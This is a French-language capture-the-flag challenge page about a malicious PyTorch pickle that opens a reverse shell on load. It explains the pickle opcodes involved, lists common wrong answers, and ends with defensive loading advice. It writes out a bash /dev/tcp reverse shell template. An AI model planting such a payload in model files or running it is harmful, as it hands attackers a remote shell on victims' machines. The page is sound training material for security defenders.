Le modèle qui appelait chez lui : un reverse shell caché dans un pickle
Le défi
Un modèle téléchargé lance du code au chargement. Lis les opcodes pickle dans ses octets. Trouve l'IP:port que son shell appelle.
Ce que tu vas apprendre
- Expliquer pourquoi charger un pickle peut exécuter du code arbitraire
- Lire STACK_GLOBAL, TUPLE1 et REDUCE dans un flux pickle brut
- Distinguer une chaîne que le pickle appelle d'une chaîne qu'il se contente de stocker
- Reconnaître un reverse shell bash /dev/tcp et en extraire l'IP et le port
- Citer les moyens sûrs de charger des poids de modèle tiers
Compétences testées
Prérequis
- Lire la colonne ASCII d'une vue hexadécimale
- Savoir ce qu'est un appel de fonction Python
Comment ça marche
Le format pickle de Python est une liste d'instructions pour une petite machine à pile. Charger un pickle exécute ces instructions pour reconstruire les objets sauvegardés, et le format permet à un objet de dire comment se reconstruire lui-même : « importe cette fonction, appelle-la avec ces arguments ». Dans les octets, cela donne STACK_GLOBAL (0x93), qui importe une fonction nommée par les deux chaînes qui le précèdent, puis REDUCE (0x52), qui l'appelle.
Rien ne limite le choix de la fonction. Un fichier de modèle qui appelle posix.system (le module derrière os sous Linux) exécute une commande shell sur la machine de quiconque le charge, et il le fait pendant que le fichier est encore en cours de lecture, avant que le moindre poids serve. La forme bash /dev/tcp/HOST/PORT ouvre une connexion TCP, donc bash -i >& /dev/tcp/HOST/PORT 0>&1 est un reverse shell : le terminal de la victime, connecté vers l'extérieur à l'attaquant.
Début 2024, JFrog a signalé une centaine de modèles sur Hugging Face contenant du code de ce genre, dont un modèle PyTorch qui ouvrait un reverse shell vers une IP codée en dur dès son chargement. En 2025, ReversingLabs a montré des pickles volontairement cassés après le payload, de sorte que le payload s'exécutait pendant que les scanners populaires échouaient à analyser la suite.
Erreurs fréquentes
- Répondre le tracking_uri.
203.0.113.17:5000est une chaîne stockée : elle est suivie d'unMEMOIZEet de la clé suivante, jamais d'unREDUCE. Seule la chaîne passée àREDUCEs'exécute. - Répondre le hub.
tensorhub.exampleest l'endroit d'où le modèle a été téléchargé, pas l'endroit où le shell se connecte. - Perdre le port au saut de ligne. La chaîne passe à la ligne :
/44termine une ligne et44commence la suivante. Le port est4444. - Oublier le port.
/dev/tcp/HOST/PORTporte les deux : la réponse estIP:port. - Lire les poids comme des opcodes. Après
42(BINBYTES) et sa longueur sur 4 octets, tout est de la donnée flottante brute : un2Eà cet endroit n'est pas un STOP.
Comment s'en protéger
Ne désérialise jamais un modèle que tu n'as pas produit toi-même.
- Distribue et charge les poids au format
safetensors, un format qui contient des tenseurs et rien d'exécutable. - Avec PyTorch, charge avec
torch.load(path, weights_only=True)(le défaut depuis PyTorch 2.6) et ne le désactive pas pour un fichier téléchargé. - Inspecte un pickle non fiable avec
python -m pickletools model.pklou un scanner de modèles, qui désassemblent sans exécuter, et considère toutGLOBAL/STACK_GLOBALen dehors des helpers de tenseurs attendus comme hostile. Les scanners peuvent être contournés : c'est un filtre, pas une garantie. - Ouvre les modèles non vérifiés dans un bac à sable ou un conteneur sans réseau sortant, pour qu'un payload exécuté malgré tout ne puisse pas joindre son serveur.